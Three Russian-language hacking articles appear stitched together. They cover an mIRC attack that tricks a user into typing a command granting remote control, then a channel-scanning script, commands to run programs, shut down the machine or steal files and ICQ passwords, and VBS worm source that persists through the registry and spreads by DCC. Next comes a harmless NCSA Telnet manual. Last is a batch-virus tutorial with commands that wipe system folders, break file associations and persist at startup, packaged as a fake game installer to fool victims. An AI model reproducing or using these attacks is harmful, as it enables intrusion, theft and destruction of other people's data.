Часто атаки комбинируются. Например, Land & IP Spoofing: нападающая сторона многократно провоцирует сервер на обмен сообщениями, но в качестве обратного адреса указывает вымышленный. Таким образом, возникают полуоткрытые соединения (half-open connections), при определенном количестве которых сервер просто не в состоянии открывать новые. В большинстве случаев сервер-жертва ощутимо замедляет свою работу, хотя может возникнуть аварийная перезагрузка памяти. (Spoofing – подмена реального адреса отправителя вымышленным. Как правило, используется в сочетании с разными видами атак, чтобы жертва не смогла определить адрес нападавшего.)

интернет Для начала надо расказать о самой уязвимости =))
Нет лёгких методов взлома, но взлом irc будет достаточно прост если вам удастся выполнить миссию и заставить пользователя набрать нужную вам команду.
Команда: //write St1m.log ctcp 1:*:?:$1- | Load -rs St1m.log
Что делает ета простая команда?!
Всё очень легко =))
//write St1m.log ctcp 1:*:?:$1- = записывает в корень irc файл под названием St1m.log в котором содержится ctcp 1:*:?:$1-
Собсно рассомтрим ctcp 1:*:?:$1- слово ctcp говорит о том что ето маска на ctcp команды цифра 1 означает что пользователь с уровнем 1 (тоесть все =)) может посылать вам ctcp запросы. Далее идём маска :*:?: которая разрешает все запросы и в самом конце идентификатор $1- который возвращает все ващи команды.
Так что вам надо всеголишь заставить пользователя ввести данную строку в своём мирке после чего он создаст для себя уязвимость.
Вот некоторые команды:
Сделать чтоб юзер зашёл на канал: /ctcp NICK /j #CHANNEL
Юзер покидает канал: /ctcp NICK /part #CHANNEL
Послать сообщение от имени жертвы: /ctcp NICK /msg #CHANNEL OUR MESSAGE…
Послать приватное сообщение от имени жертвы: /ctcp NICK /msg NICK(anyone) OUR MESSAGE…
Закрыть mirc жертвы: /ctcp NICK /exit
Сменить жертве пароль: /ctcp NICK /msg nickserv set passwd NEW_PASS
Сменить жертве ник: /ctcp NICK /nick NeW_NicK
Если жертва является опом то следующей командой вы заставляете её дать вам опа на канале: /ctcp NICK /mode #channel +o OUR_NICK
Выполнить на компьютере жертвы команду MS-DOS: /ctcp NICK /run command
Открыть mirc на компьютере жертвы: /ctcp NICK /run mirc
Запустить редактор реестра на компе жертвы: /ctcp NICK /run regedit
Флуд на компе жертвы: /ctcp NICK /timer1 0 0 /ping $me
Вырубить винду на компе жертвы: /ctcp NICK /run exitwindows
такмс…
Уже нетерпиться попробовать ето все на практике, но какже посмотреть на мирк сервере есть ли уже люди которые ввели ету строчку???
Скрипт скана мирк серверов
#SCAN
alias mass {
set %i 1
var %massmsgmsg Yes
set %nickme $me
:next
set %nick $nick(#,%i)
if (%nick == $null) goto done
if (%nick != $me) { /ctcp %nick /msg %nickme %massmsgmsg }
inc %i
goto next
:done
}

Я думаю тут все понятно и без обьяснений =))
Так… теперь мы можем найти пользователя на канале с уязвимостью и сможем пошутить над ним, но какже быть с более серьёзными атаками
Минус в том что ети команды не обрабатывают идентификаторы, но зачемже тогда команда /write =)))
так вот пример атаки и сбора сведений о компьютере жертвы
___________________________________________________________________________
—- > Узнаю в какой директории лежит Мирк .exe
[06:59:12] -> [[SF]Norfolk] /WRITE fool.txt /notice Кевин_Митник $mircdir
[06:59:56] -> [[SF]Norfolk] /PLAY -c #hack fool.txt
[06:59:58] -[SF]Norfolk- D:Мирка
—- > Узнаю на каком диске находится WINDOWS
[07:02:21] -> [[SF]Norfolk] /WRITE fool.vbs set FSO = createobject(”scripting.filesystemObject”)
[07:02:33] -> [[SF]Norfolk] /WRITE fool.vbs set dirwin = fso.getspecialfolder(0)
[07:02:46] -> [[SF]Norfolk] /WRITE fool.vbs set text = fso.createtextfile(”fool.txt”)
[07:02:59] -> [[SF]Norfolk] /WRITE fool.vbs text.writeline “/notice Кевин_Митник” & ” ” & dirwin
[07:03:09] -> [[SF]Norfolk] /WRITE fool.vbs text.close
[07:03:36] -> [[SF]Norfolk] /PLAY -c #hack fool.txt
[07:03:38] -[SF]Norfolk- C:WINDOWS
—- > Очищаю документы
[07:05:36] -> [[SF]Norfolk] /WRITE -c fool.txt
[07:05:39] -> [[SF]Norfolk] /WRITE -c fool.vbs
____________________________________________________________________________
Как вы уже поняли можно записывать файлы на компьютер жертвы и потом проигрывать их для определённого канала.
ВНИМАНИЕ: Жертва видит что отсылает вам нотисы, так что советую использовать ето когда мирк жертвы свёрнут в трей или жертвы нет у компьютера. И не забывайте чистить файлы а лучше удалять их с компьютера жертвы.
Лучше всего выключать компьютер жертве командой /ctcp NICK /RUN shutdown.exe -s -f -t 00
Вот некоторые идентификаторы которые помогут тебе собрать нужную информацию
OS – $os
Host – $host
email – $emailaddr
Название лога который лежит в папке под номером 100 – $findfile($mircdirlogs,*.*,100)
$disk(C:) – C: если диск существует то вам веррнется $true
$disk(D:) – D:
$disk(E:) – E:
mirc folder – $mircdir
Следующий пример неработает в некоторых irc серверах
Вы должны заставить жертву набрать следующее:
/fserve OUR_NICK 4 c:
После этого диск C: компьютера жертвы будет открыт для вас. И вы сможете делать следующее:
Команды:
cd : С помощью этой команды вы можете перейти в любую папку.
Например: cd windows (попадёте в папку windows)
dir : Команда как в MS-DOS
get : Важная команда! Вы можете получить любые файлы с компьютера жертвы. Жертва видит передачу файлов, но если получать маленькие по обьёму файлы то передача будет очень быстрой и жертва может просто не заметить этого.
read: Чтение текстовых файлов.
Вы можете получить пароль от ICQ жертвы. Используя команду get получаете файл .dat и можете получить пароль от ICQ.
Дальше больше.
Попробуем написать вирус который будет рассылать себя по мирку и заражать траянчегом их
set FSO = createobject(”scripting.filesystemObject”)
set scriptini = fso.CreateTextFile(”C:Program Filesscript.ini”)
set virus = FSO.getfile(wscript.scriptfullname)
Set S = CreateObject(”Wscript.Shell”)
mircfile = “”&”St1m.jpg .vbs”
virus.copy(dirsystem&mircfile)
mircoff = dirsystem&mircfile
S.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServicesKernel32″, mircoff
scriptini.WriteLine “[script]”
scriptini.WriteLine “n0= on 1:JOIN:#:{”
scriptini.WriteLine “n1= if ( $nick == $me ) { halt }”
scriptini.WriteLine “n2= /dcc send $nick” &” “&mircoff
scriptini.WriteLine “n3= on 1:JOIN:#:{ ”
scriptini.WriteLine “n4 /write St1m.st ctcp 1:*:?:$1- | Load -rs St1m.st ”
scriptini.WriteLine “n5 }”
set f = fso.GetFolder(”C:Program Files”)
set sf = f.SubFolders
for each f1 in sf
set viruss = FSO.getfile(”C:Program Filesscript.ini”)
file1 =”"&”script.ini”
viruss.copy(f1&file1)
next
Если мирк находится или будет находиться в Program Files то етот скрипт его обезательно заразит и начнёт сам себя рассылать всем кто присоединяется к каналам на которых сидит жертва. Даже если жертва удалит мирк и переустановит её то после перезагрузки новый мирк опять заразится.

интернетконецформыначалоформыВ Telnet, как правило, вкладывают два смысла. Во первых Telnet — это протокол эмуляции терминала, через который осуществляется удаленный доступ в Internet. А во вторых, telnet это программа UNIX с аналогичными функциями (пишется с маленькой буквы, ибо в UNIX это важно). Запустив такую программу, вы увидите на экране своего монитора удаленный терминал. Все это может быть реальностью только за деньги, То есть вы должны получить доступ в Internet на уровне Dial-up. Впрочем, в Internet существуют сервера, которые предоставляют бесплатный ограниченный доступ через Telnet к некоторым базам данных.
Программа telnet через определенные команды позволяет управлять параметрами сеанса связи только через командный режим. Это означает, что сначала вы коннектитесь с удаленным хостом и после того как нажимаете escape-последовательность, попадаете в командный режим telnet. Сеанс связи поддерживается как вашим софтом, так и софтом удаленной машины. Если копать глубже, то связь осуществляется через протокол TCP посредством пакетов UDP.
Таким образом Telnet это:
? регистрация на удаленном компьютере;
? использование софта Internet, в том числе клиентских программ на удаленном компьютере.
? запуск доступного софта на удаленном компьютере.
Далее мы будем разбирать Telnet на основе программы NCSA Telnet. Этот софт предоставляет интерактивный доступ с писишного компьютера к телнетовским серверам сети TCP/IP.
NSCA Telnet
Многие, говоря о Telnet, подразумевают UNIX. А те, кто считают, что знают UNIX, работают в Internet через Telnet. Мы уходим от тех и от других. На время. Мы погрузимся в старый добрый DOS, так как NCSA Telnet работает в стандартной MS DOS.
Запуск NCSA Telnet осуществляется после ввода следующей команды:
telnet hostname
Если все набрано правильно, то вы соединитесь с хостом hostname. Этот хост попросит вас ввести регистрационное имя и пароль.
NCSA Telnet эмулирует терминал VT100. Но операционка удаленного хоста не может определить тип вашего терминала. Вы должны определить его сами. Для удаленных UNIX-компьютеров введите:
newton% set term=vt100;tset
Выход из NCSA Telnet зависит от того количества сессий, которое вы имеете в данный момент. То есть, вы должны разорвать связь с каждым хостом.
Результатом ваших действий должно быть обычное приглашение вашей операционки.
Вы также можете завершить сеанс через комбинацию клавиш Alt-X. Эта команда закрывает только текущую сессию.
Лучшие клавиатурные эквиваленты
? Alt-A Дополнительная сессия.
? Alt-N Следующая сессия.
? Alt-D Перехватить активный текст и послать его в файл.
? Alt-Z Сделать сессию невидимой, но
активизированной.
? Alt-E Выйти в оболочку DOS.
? Alt-G Графическое меню.
? Alt-C Включить/отключить режим перехвата.
? Alt-R Отключить экран VT100.
? Alt-H Подсказка.
? Alt-Y Прервать процесс.
? Alt-B Предыдущая сессия.
? Alt-O Блокировать вывод.
? Alt-U Удалить строку.
? Alt-K Удалить символ.
? Alt-F Начать передачу файла.
? Home Выйти из графического режима.
? Alt-I Переслать IP-адрес удаленному компьютеру.
? Alt-S Пропустить прокрутку.
? Alt-P Изменить параметры.
? Alt-X Закрыть соединение.
Непонятный VT100 и ясный локальный терминал
В NCSA Telnet терминал вашего компьютера отображается на удаленном компьютере как терминал VT100. Вы же работаете на PC. Поэтому некоторые клавиши вашего компьютера отличаются от аналогичных на VT100.
Сразу несколько сессий? ОК!
NCSA Telnet позволяет открывать несколько сессий одновременно. Для этого вы должны ввести:
telnet hostname hostname …
где hostname — имя компьютера, с которым вы коннектитесь.
Что там есть в нашей строке состояния? Все!
Терминал VT100 удаленного компьютера требует 24 строки. В 25 строке локального компьютера вы можете видеть состояние собственной сессии. Выделенные символы отображаются в нижнем левом углу. Все эти символы соответствуют удаленному хосту. Остальные символы могут отображать все что угодно.
Открываем еще одну сессию
Открыть еще одну сессию на текущем удаленном хосте или на другом хосте можно через клавиатурную комбинацию Alt-A.
Указываем на хоста
Вы можете телнетиться только через IP-адрес. Поэтому ваша первая задача — определить IP-адрес удаленного компьютера. Для этого настройте программу на поиск имен посредством соответствующей службы удаленного сервера.
Прокручиваем в режиме обратной прокрутки
Клавиша Scroll Lock позволяет не прокручивать экран, когда идет получение данных и включать/отключать режим обратной прокрутки. Режим обратной прокрутки дает вам возможность перемещать данные на экране стрелками или клавишами PgUp и PgDn. Помните, что в режиме обратной прокрутки нельзя оперировать командами telnet.
Вырезаем и вставляем
Находясь в режиме обратной прокрутки, вы можете копировать части текста одной сессии и вставлять эти части в другую. Попробуем скопировать текст в буфер и затем вставить его из буфера в новую сессию.
1. Включите режим обратной прокрутки посредством нажатия клавиши Scroll Lock.
2. Передвиньте курсор в начало текста и нажмите клавишу пробела.
3. Передвиньте курсор в конец текста и нажмите клавишу пробела.
4. Нажмите Alt-C. Выделенный текст скопирован.
5. Выходим из режима обратной прокрутки и переключаемся на новую сессию посредством нажатия клавиш Alt-N или Alt-B.
6. Помещаем курсор в желаемое место и нажимаем Alt-V.
Выделенный текст помещен в новую сессию.
Переключаемся между сессиями
Переключиться между двумя активными сессиями можно через команду Alt-N. Имя активизированной сессии вы можете увидеть в левой нижней части экрана. Если вы хотите вернуться в старую сессию, то вы можете это сделать через команду Alt-B.
Просматриваем сообщения экрана консоли
Экран консоли отображает информацию, связанную с локальным и удаленным компьютером. Вызвать экран консоли вы можете через Alt-Z.
Закрываем текущую сессию
Командой Alt-X закрывается текущая сессия. Используя эту команду, мы наблюдали сбои на удаленном компьютере.
Перехватываем текст экрана
Если нажать Alt-C, то можно перехватить текст экрана и направить его в файл (то есть добавить текст к файлу capfile) или распечатать. Если вы повторно выберите команду Alt-C, вы отключите режим перехвата.
Если в меню Parameters вместо стандартного файла для перехвата указать prn, то можно распечатать перехваченный текст.
Невозможно перехватить текст активной сессии, если включен перехват в фоновой сессии. Решить эту проблему можно командой Alt-D.
Игнорируем бесконечный текст
Если вы хотите пропустить идущий бесконечным потоком текст, нажмите Alt-S. Вы пропустите текст только на экране, то есть сам текст будет находиться в буфере перехвата.
Перезагружаем экран VT100
Если вам не понравился текущий тип терминала и вы желаете установить новые параметры VT100 (точнее их установит удаленный компьютер), нажмите Alt-R. Параметры вашего экрана VT100, в этом случае, переустановятся таким образом, что отключится режим упаковки, разблокируется графический режим, а табуляторы установятся на каждую восьмую позицию.
Все! Надоело! Больше не могу!
Команда Ctrl-Shift-F3 применяется в том случае, когда ни одна из сессий не работает, Scroll Lock не горит, нажатие клавиш ALT-R и/или ALT-X не приводит ни к какому результату. После выполнения команды Ctrl-Shift-F3 вы выйдите из Telnet в DOS.
Не разрывая связь, выходим в DOS
Если вы хотите выйти в DOS и при этом оставаться в сессиях, нажмите Alt-E. В досовской оболочке вы можете использовать любые программы, кроме сетевой версии NCSA Telnet, сетевой версии программа FTP пользователя и программы format. Возврат в Telnet осуществляется командой exit.
Устанавливаем параметры
Если вы хотите изменить цвета, задать новый эхо-режим, настроить клавишу стирания символов, управлять режимом экрана и режимом пересылки файлов, дать другое имя сессии, типу терминала и файлу перехвата, нажмите Alt-P. После того, как вы в появившемся диалоговом окне Parameters модифицируете необходимые опции, нажмите клавишу F1 (для сохранения изменений) или Esc (для сохранения предыдущих параметров).
Символы или строки?
Вы можете воспользоваться достоинствами построчного режима в случае, если вам долго отвечает удаленный компьютер. Вы просто втаскиваете данные в буфер и пересылаете их единым пакетом на удаленный компьютер через нажатие клавиши Return. При этом вы можете воспользоваться следующими клавиатурными комбинациями:
? если вы нажмете Ctrl-U, то буфер очистится.
? удаление последнего символа, добавленного в буфер осуществляется клавишей Backspace.
? после нажатия клавиши Tab данные буфера вместе с символом табуляции немедленно отправятся на удаленный компьютер.
Два замечания относительно построчного режима:
? любой управляющий символ можно отправить на удаленный компьютер лишь в том случае, если этот символ снабдить приставкой ^.
? нельзя переслать на удаленный компьютер комбинации
Ctrl-U или Backspace.
В случае символьного режима ваши данные передаются на удаленный компьютер непосредственно в процессе их набора. Этот режим позволяет использовать весь экран вашего монитора для редактирования данных.
А что если нажать Backspace?!
По умолчанию, клавиша Backspace преобразовывается в код клавиши Delete. Некоторые удаленные компьютеры работают только с клавишей Backspace. Чтобы добиться совместимости, необходимо открыть меню Parameters и переустановить код клавиши Backspace.
Хочу другое имя сессии!
Вы можете изменить имя сессии появляющееся в строке состояния в правом нижнем углу через меню Parameters. В соответствующее поле данных вы можете ввести до 13 символов.
Хочу другой терминал!
В большинстве сессий эмулируется терминал VT100. У вас имеются другие возможности эмуляции:
? выбрать VT100 с графикой Tektronix 4014.
? использовать только команды VT100.
? игнорировать коды VT100 и Tektronix 4014.
Автоматический перенос строки
Если вы не хотите смотреть на беспорядочный поток символов, используйте символы конца строк. При включенной опции автоматического переноса строки переполненный текст автоматически переходит на следующую строку.
Адаптируемся к графическому интерфейсу
Как правило, режим быстрого вывода текста через буфер экрана несовместим с Windows. В файле конфигурации посредством опции bios вы можете установить так называемый режим адаптации.
В этом режиме текст на экране выводится через специальную программу, использующую доступ к BIOS.

интернетконецформыначалоформыВ этой статье я не буду рассказывать как создовать вирусы с нуля вы уже это
узнали с моей предведущей статьйи (большая статья по нописанию бат вирусоов).
В этой статье я научу вас
1.Ознокомлю с самыми злыми командами
2.Научу бат переделывать в exe
3.Предложу свою версию вируса
1.
Shutdown -t 0 –s -Эта команда выключает компютер
del *.* /q
После запуска удалятся только файлы (не затронув папки) в той директории, где был запущен файл, т.е. запустили мы этот файл на рабочем столе, все ярлычки исчезли, но теперь уже навсегда. Если запустим файл в «Моих документах» то файлы исчезнут там. Но если поставить параметр /s то будет удаляться и в кататалогах и подкаталогах.
Параметр /q задаёт удаление без подтверждения.
Теперь мы удалим шрифты:
del C:windowsfonts /q
Почему без /s ? А зачем, там нет подпапок.
Правда не все шрифты удаляться системные останутся. Хоть откуда запускайте файл шрифты всё равно удаляться ведь указан путь… можно удалить хоть что вот, например:
del C:windowsMedia /q
Удалит стандартную музыку, например: музыка при запуске системы или при ошибки.
del C:windowssystem32 /q /s
Системная папка, ну я думаю, даже не стоит объяснять, что произойдёт после ликвидации файлов. Но есть один подвох если на файле будут стаять атрибуты “Скрытый” и “Системный” то наши удаление на них не подействует, их попросту пропустят. А вот как раз самые важные файлы то и отмечены этими параметрами (от нечайного стирания). Что в этом случае делать? Придёться сначала писать команду снятия всех атрибутов с файлов, каталогов, подкаталога.
del C:windows*.bmp /q /s
И нет стандартных рисунков, думаю понятно, почему удалены только рисунки ведь стоит маска .bmp если поставить .txt то удаляться текстовые файлы.
Премудрости удаления
Когда мы открываем диск С: мы видим не все файлы, которые там лежат, система их спрятала, для того чтобы их не тронул неопытный пользователь. Так вот раз они такие важные, а почему бы нам их не удалить…
Сделать это можно в два шага, сначала снять с нашего секретного файла атрибут системный и скрытый, а то нам не кто не позволит нечего удалять, а потом возьмем и удалим всё НЕНУЖНОЕ, то есть самое необходимое:
attrib -a -s -h -r C:*.*
del C:*.* /q
Но тут нам много удалить не дадут. Всё тристо раз защищено.
Можно, например, попробовать удалить УСТАНОВЛЕНЫЕ НАМИ программы хранящиеся на диске! С:/ размахом сказал да? Ну, так вот если мы знаем, что все программы по умолчанию записываются в папку Program Files то можно, например, написать вот такую команду:
rd %ProgramFiles% /s /q
А вот если написать:
rd C:Program Files /s /q
то вирус не сработает заявив что таких папок он не нашёл? Каких таких? Наш вирус будет искать папку “Program” и папку “Files”. Ладно у нас есть зарезервированая команда для папки Program Files – %programfiles%. А если мы хотим удалить “Мои документы”. То вирус будет искать папки “Мои” и “Документы”. В этом случае нам помогут двойные кавычки. Можно удалить содержимое «Моих документов» тем более многие хранят там самое важное:
Chcp 1251 Р. Кодовая. стр. т.к. в команде Р. текст.
del “%USERPROFILE%Мои документы*.*” /q /s
——————————————————————————–
Важно! При установки операционки можно задать любую корневую папку и вы по команде cd C:WINDOWS не куда не попадёте. Может у него корневой каталог называется win? Нам поможет имя которое перебросит нас в корнивой каталог как бы он не назывался cd %SystemRoot%. Та же история с папкой пользователя как дойти до рабочего стола? cd “C:Documents and SettingsА тут чё писать????Рабочий стол” Видите где я вас спрашиваю “Тут чё писать” действительно ведь там стоит имя пользователя, угадать почти нереально. Поэтому надо написать cd %USERPROFILE%рабочий стол. Ну в папку Program Files мы уже знаем cd %programfiles%
И не забывайте если есть в какой либо команде русские буквы например “Рабочий стол” или “Мои документы” обязательно в начале пишите команду Chcp 1251
——————————————————————————–
А если мы хотим удалить в папке “Windows” только Текстовые файлы (txt) и Параметры конфигурации (ini), а на диске D: Рисунки (bmp)? Мы напишем три команды одна удаляет то, вторая это… Но можно всё это написать в одной команде:
for %%Q in (C:WINDOWS*.txt *.ini D:*.bmp) do del %%Q
Видно что мы можем написать свои пути в скобках, хоть какие, так же можем пользоваться масками разных комбинаций. А после слова do у нас стоит команда del так вот мы можем написать например attrib +h +s и теперь на диске С: скроются текстовые файлы и файлы ini. Ну суть понятна? В скобках пишем любой путь или пути, а после do любую команду (которую можно применить к файлу).
Теперь давайте предположим что мы сделали вирус, который при загрузке компа создаёт ненужный мусор. “Жертва” его удаляет, а он при загрузке появляется снова. А если “жертва” мусор не удалит? То наш тупой вирус будет его пытаться создать опять, может даже начнёт задавать “жертве” вопросы о перезаписи… “жертва” сразу обнаружит в чём дело и всё исправит. А давайте напишем команду которая проверяет, есть ли наш мусор на том месте где мы его создавали или уже нет. Если есть вирус завершиться. Если нет то сново создаст мусор.
if not VIR*?????????.sys goto x
exit :x
МУСОР.
Помните как мы создавали мусор? Брали настоящие файлы копировали их с другим расширением и приписывали в начали приставку “VIR”. Так вот наш вирус проверяет, есть ли хоть один файл у которого есть расширение .sys и приставка “VIR” в начале (можете писать что угодно, исходя из содержания вашего вируса). Если таковые имеются он выходит командой exit. Если таких нет, то переходит к точки x и создаёт мусор снова.
Надеюсь вы понимаете что это только небольшой кусок кода вируса, например в начале должна стоять команда перехода в каталог, где будет всё проверяться… Где написано слово “МУСОР” должны быть написаны команды создования мусора.
——————————————————————————–
И ещё, я чё то всё говорю путь диск C:, диск C:, но для полной уверености можно я бы сказал НУЖНО прописать точно такие же команды и для диска D: (в этом же нашем файле вируса) и не только для D:, если не лень накатайте все буквы дисков. Т.к. некоторые умники меняют букву диска на “O” ; “P” ; “Q” ; “R” ; “S” ; “T” ; “U” или ещё какие (правильно делают). Безопасность, будь она не ладна.
rd C: /s /q -а это гдавноя команда удоления вить она может отформотировать диск за 10-20 сек в зовисимости от обёма диска
chcp 1251
cd “%USERPROFILE%Главное менюПрограммы”
md 1 …и.т.д.
и папки будут создаваться в разделе программы.
Или допишите вот так…
chcp 1251
cd “%USERPROFILE%Главное менюПрограммыАвтозагрузка”
md 1 ….и.т.д.
допустим мы создадим 100 пустых папок в папке “Автозагрузка” и при включение компа каждый раз будут открываться сотня папок, даааа так сдохнуть можно каждый раз их закрывая…
Удалим расширение
Кстати говоря, очень вредный вирус получиться, если поменять расширение. Вот например кажется ярлык подумаешь… он мне и не нужен вовсе… ан нет без ярлыков будет просто ужасно вы только представьте чтобы сыграть в игру вам достаточно щелкнуть по ярлыку находящемуся на вашем рабочем столе, а когда ярлыка нет… вам надо лезть в диск С: заходить в папку «Игры» потом что-то ещё… да так сдохнуть можно! Итак, я тут подумал, одним из важных вещей у нас является ярлык, так мы берём и…
assoc .lnk=.avi
здесь наглядно показано, что я хочу поменять ярлык (расширение, как известно .lnk) на музыкальное расширение .avi и уже понятно, что ярлык с таким расширением ни куда вас не пошлёт! А вот вы комп будете долго посылать.… Ну и, конечно же, нетрудно догадаться, как такой вирусик может оказаться разрушительным, мы с вами поменяем приложение .exe и тогда ни одна программа, ни запуститься!!!
assoc .exe=.avi
тут показано расширение программ .exe ну и уже по традиции я меняю его на .avi вы кстати можете придумать что-нибудь своё… например поменять jpg (рисунки) например на .virus вот весело будет когда он захочет посмотреть свои картинки…
можно же просто удалить расширение, не заменяя его на другое:
assoc .exe=
после знака = надо нажать один раз пробел, а уже потом сохранять наш вирусик.
Кстати говоря, если хотите доставить своей жертве хорошую встряску, напишите в одном вирусике команд 20 удалений расширений все (разные и необходимые)
В таблице я привёл некторые расширения, если вам кажеться что их не достаточно пишите свои.
Приложение .exe .com
Текстовые файлы doc .txt .wp .diz .log .wri
Музыкальные файлы .mp3 .wav .avi .wmv .mpg
Картинки .bmp .jpg .gif .tif .pic
Ярлыки .lnk .url
Архиваторы .rar .zip .arj .cab lzh.
Шрифты fon .ttf .atm
Файл реестра .reg .key
Системные файлы .sys .dll .rnf .drv .ega
Файл справки .chm .hlp
Можно путь для копирования поставить другой путь:
copy C:*.* C: program наш никчёмный файл появиться на диске С:
можно скопировать, что-нибудь другое:
copy C:windowssystem32*.* C:Microsoft*.exe
Видно что все файлы будь это текст, или музыка мы сохраняем как пиложение *.exe. Но это уже очень длительный процесс (копировать всё из system32) придется приукрасить программу. Cмотри главу: “Создаём эффект программы” Есть другой способ копирования:
dir c: /s/a > C:/1.txt
Эта команда просто скопирует все пути к папкам и файлам в один текстовый файл (долго). А можно в одной команде задать несколько каталогов и все файлы из них слепяться в один кусок, например:
copy C:WINDOWS*.txt + C:WINDOWSHelp*.* KYSOK
Мы видим что я беру из папки “Windows” все текстовые файлы а из папки “Help” вообще все файлы и слепливаю кусок из всех них в файл “KUSOK” (од даже будет без расширения, но можно его и сделать, если пожелаете)
А можно полностью скопировать папку “system32″ в другое место и поставить атрибут скрытый, чтобы жертва не удалила нашу совершенно ненужную копию.
xcopy C:WINDOWSWeb C:mysor /q /e /h /y копируем папку web в папку musor.
attrib +h +s C:/mysor всё скрываем с глаз людских.

——————————————————————————–
Если посмотреть то я задал много параметров для команды xcopy (у неё их ещё больше). Итак параметр /q ну это как везде, чтобы на экране не было лишних сообщений. /e для копирования пустых каталогов. По умолчнию Системные и Скрытые файлы не копируються так вот параметр /h разрешает их копирование. Если при копировании имена совпадут то будет задан вопрос о перезаписи, зачем нам вопросы вот мы влепили параметр /y.
——————————————————————————–

Ах, совсем забыл, не пишите вот такую команду:
copy C:*.* C:Windows
А то антивирус, если он есть у нашей жертвы, обязательно обезвредит этот наш вирус, посчитав его за Троян.BAT.CopyToWindows.
Можно оповещать нашу жертву о ходе действия нашего вируса.
для этого есть команда msg * Подождите программа выполнит соответствующие операции или както так короче можно написать чо чочеш
Можно использовать и другой способ, открывая на весь экран блокноты, в которых будет написано сообщение:
echo >> read.txt Пожалуйста, внимательно прочитайте! Перед тем как установить игру закройте….и.т.д.
start/max read.txt
Тут так же действует вывод сообщения но мы задали его отправить в текстовый файл read. Вторая строка говорит, что мы хотим открыть наш текстовый файл уже с готовым сообщением во весь экран. И пока наша жертва будет читать, что там ей надо сделать, вирус сделает своё дело. Можно конечно вместо скучной лекции написать прикольные анекдоты и тогда жертва уже точно отвлекаться.
Можно остоновить выполнение нашего вируса хитрой командой. Вылетит собщение “Для продолжения нажмите любую клавишу…”.
pause
Красивая оболочка
Ну, вот мы отослали наш с вами готовый вирусик вашему «другу», а он его не открыл т.к. у него появились сомнения на счёт такого странного файла и весит он мало и значок не внушает доверия и расширение какое-то странное… Мы немного постараемся исправить положение улучшив вид нашей ложной программы, это как бы вторая часть главы «Создаём эффект программы». Кстати говоря, я вот такое улучшение употреблял ко всем своим тупым вирусам и вам советую. Правда улучшать нам поможет WinRAR-это самый знаменитый архиватор.
Первым делом открываем WinRAR (его можно скачать тут
http://www.rarlab.com
http://www.rarsoft.com)
Рассматривать архиватор мы будем на примере создания вируса, который вырубает комп после включения, помните? Да ещё сделаем так, чтобы при следующем включение он опять таки отключался!
Берём уже заранее заготовленный файл отключения через x секунд, оттаскиваем в открытое окно архиватор и бросаем его туда. Тут же вылетает окно «Имя и параметры архива» тут можно указать «Степень сжатия» указать «Имя архива» а мы просто ставим галочку на квадратик «Создать SFX-архив» можно тут же заметить, что расширение меняется на .exe это значит, что мы делаем настоящее приложение! Заходим на страницу «Дополнительно» и нажимаем кнопку «Параметры SFX» вылетает окошко «Дополнительные параметры SFX» Под полем «Путь для распаковки» можно поставить, чтобы ваш файл распаковался в папку «Program Files» или создать его в «Текущей папке» то есть там, где будет запущен наш вирус, в самом поле «Путь для распаковки можно даже не чего и не писать. А вот в поле «Выполнить после распаковки» надо написать имя нашего файла с расширением, например: virus.bat (вот собаки ещё расширение им указывай! Кстати это мы сделали, для того чтобы непосредственно, после того как мы откроем (архив) вирус он автоматически запуститься, и отключал систему, или там сотрет, что-нибудь «ненужное»). В поле «Выполнить до распаковки» не чё писать не надо. На вкладке «Дополнительно» нажимаем кнопку «Добавить ярлык…» вылетает новое окно, где написано «Место создания ярлыка» ставим пометку «В папке Автозагрузка» (можно и в «Меню Пуск» и «На рабочем столе» но нам надо, чтобы при включении комп вырубался снова ведь так»).
——————————————————————————–
И поэтому когда при следующей загрузке компа система начнёт загружать элементы «Автозагрузки» то само собой загрузит, и наш файл и делать нечего отключит комп снова! Правда обводка тут слишком проста, когда идёт сама загрузка, просто держите нажатой клаву «Shift» и ком автоматически обойдёт элементы «Автозагрузки» и соответственно не отключиться, но не все это знают!

——————————————————————————–
В поле «Имя файла, для которого будет создан ярлык» пишем имя нашего файла, например virus.bat ну и ещё и в поле «Имя ярлыка (файла .lnk):» пишем, что вашей душе угодно (можно конечно написать что-нибудь такое типа: «Microsoft» или «Intel» и тогда это будет выглядеть более убедительно чем «Отключение») и всё, больше не чего не пишите разве можно написать в поле «Описание ярлыка», что-нибудь такое: «Not to delete» или «System file» ну чтобы придать немного сомнения. Подтверждаем ОК.
На странице «Режимы» где написано «Режим ввода информации» можно поставить пометку «Скрыть всё» и тогда при распаковки ни кто не чего у вас не спросит, а просто распакует и всё. Я советую поставить пометку «Не показывать начальный диалог» и тогда наша программа ни будет нас спрашивать, куда установить наш файл, а просто покажет лицензию, которую мы с вами щас и напишем. Ах да где написано «Режим перезаписи» ставим пометку «Перезаписывать без подтверждения».
На странице «Лицензия» в поле «Заголовок окна с лицензией» пишем название, например «Игра» если вы косите под игру, или «garbage collector» чтобы совсем запутать. В поле «Текст лицензии» вешаем лапшу на уши и даём волю своей фантазии ну, например:
Сейчас работает мастер установки игры «pirate». Это длительный процсс и отмена операции может повредить. Пожалуйста внимательно прочитайте, что будет написано ниже для полноправного использования данной продукцией:…тру ля ля.…ля ля… Ну там лечите дальше сколько душе угодно, это для того чтобы не оставить не малейшего сомнения на счёт происхождения и назначения программы, и вот ещё пожалуйста пишите без ошибок, а то вас тут же раскусят!
На странице «Текст и значок» не чего не следует писать, так этого программа не покажет из-за того, что мы поставили отметку «Не показывать начальный диалог» если её не поставить, то и тут можно накуролесить всякой ахинеи. Правда следует воспользоваться ещё одним маневром, где написано «Значок SFX-архива» можно я бы сказал нужно выбрать хоть какой-нибудь значок, а то жертву может отпугнуть значок который подставиться по умолчанию. А если загружить привычный значёк “WORD(а)” или картинки, то жертва без малейших подозрений с радостью запустит… хм… вот. И ещё можно загрузить какую-нибудь картинку «по теме конечно» и тогда она будет отображаться при чтении лицензии (это красивый эффект). Ну, вот, пожалуй, и всё если всё грамотно и правильно сделать, то у жертвы не будет и малейшего сомнения, что у него в руках лицензионная игра, ну а когда он её распакует, обрадуется, так что придётся переустанавливать систему!
Надо было написать это в главе «Отключение» но тогда мы не знали этих команд. Я предлагаю мало того, что мы поставим наш файл в папку «автозагрузка» так мы его скроем т.к. тот, кто догадается в эту папку посмотреть, без труда наш вирус удалит многократное выключение не удаться:
Chcp 1251
cd “%USERPROFILE%Главное менюПрограммыАвтозагрузка”
attrib +h
вы видите, что я сначала переключаюсь на русскую кодовую страницу это потому что в нашей команде есть русские буквы.
